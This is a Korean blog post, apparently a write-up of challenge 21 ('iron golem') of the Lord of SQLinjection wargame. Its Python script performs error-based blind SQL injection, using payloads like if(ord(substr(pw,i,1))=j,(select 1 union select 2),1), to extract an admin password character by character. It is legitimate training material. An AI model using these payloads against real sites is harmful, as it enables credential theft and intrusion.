Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- Los
- 세션쿠키
- lord of sqlinjection`
- XSS
- php
- 세션
- 자바 has-a
- 자바 Array list
- 자바 문법
- 스프링 종류
- 자바
- injection
- sqlinjection
- 스프링구조
- 마이크로서비스 아키택트
- 보안
- 스프링
- 해킹
- APM
- lord of sqlinjectin
- 서버
- 웹
- 소켓
- 웹 개발
- 자바 is-a
- sql
- 클라이언트
- Lord of sqlinjection
- 쿠키
- 스프링 특징
Archives
- Today
- Total
LJ
Lord of SQLinjection ( 21번 ) iron golem 본문
21번 문제인 iron golem 이다.
일단 hello 문구가 사라졌다...
그치만 '(싱글쿼터)를 넣었을 때 에러가 발생하는 것을 봐서는 에러를 통해 암호를 정확하게 맞춰야 해결이 될거같다.
쿼리에 맞는 python 코드를 작성한다.
import requests
from prettytable import PrettyTable
address = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
cookie={'PHPSESSID':'qc4tt4p1ren887gr3v5jf5lcvm'}
def pw_length():
for i in range(30,50):
URL = address + "?pw='or id='admin' and if(length(pw)=" + str(i) +",(select 1 union select 2),1)%23"
res = requests.get(URL, cookies=cookie)//HTTP GET 요청
if 'Subquery' in (res.text):
print("비밀번호의 길이는 " + str(i) +"입니다")
return i
break
else:
print( str(i)+"*********")
def pw_get(length):
x=PrettyTable()//PrettyTable 객체를 생성
x.field_names = ["password"] //표의 열 이름을 설정
pw=""
print(x)
for i in range(1, length+1):
for j in range(1,127):
URL = address+"?pw='or if(ord(substr(pw,"+str(i)+",1))="+str(j)+",(select 1 union select 2),1)%23"
//SQL 인젝션 페이로드를 생성한다. substr(pw, i, 1)은 비밀번호의 i번째 문자를 추출하고,
//ord()는 그 문자의 ASCII 코드를 반환
res = requests.get(URL,cookies=cookie)
if 'Subquery' in (res.text)://응답에 'Subquery'가 포함되어 있으면, 추측한 문자가 비밀번호의 일부임을 확인
pw=pw +chr(j)
print(x)
x.add_row([pw])//표에 새로운 비밀번호를 추가
break
print(x)
length=pw_length()
pw_get(length)
PrettyTable: 표 형태로 데이터를 출력하기 위해 사용
결과를 기다리는데 상당한 시간이 걸리므로
기다려야 한다.
※ Key pooint
- if(condition, true_part, false_part): 조건이 참이면 true_part를 실행하고, 거짓이면 false_part를 실행
- 에러 발생시키는 방법
- Union 기반 에러 유발: UNION을 통해 서로 다른 열의 수를 가진 결과를 결합하여 오류를 발생시키는 방법
- 타입 불일치 에러 유발: 잘못된 데이터 타입을 강제로 삽입하여 오류를 유발하는 방법
- 함수 호출을 통한 에러 유발: 존재하지 않는 함수를 호출하거나 잘못된 함수를 사용하여 오류를 유발하는 방법
( ord(substr(pw, i, 1)) = j가 참일 때 select 1 union select 2가 실행되어 두 개의 행을 반환하면 오류가 발생 )
'IT 보안 > 보안첼린지' 카테고리의 다른 글
Lord of SQLinjection ( 23번 ) hell fire (0) | 2024.07.07 |
---|---|
Lord of SQLinjection ( 22번 ) dark eyes (0) | 2024.07.06 |
Lord of SQLinjection ( 20번 ) dragon (0) | 2024.07.04 |
Lord of SQLinjection ( 19번 ) xavis (0) | 2024.06.30 |
Lord of SQLinjection ( 18번 ) nightmare (0) | 2024.06.28 |
Comments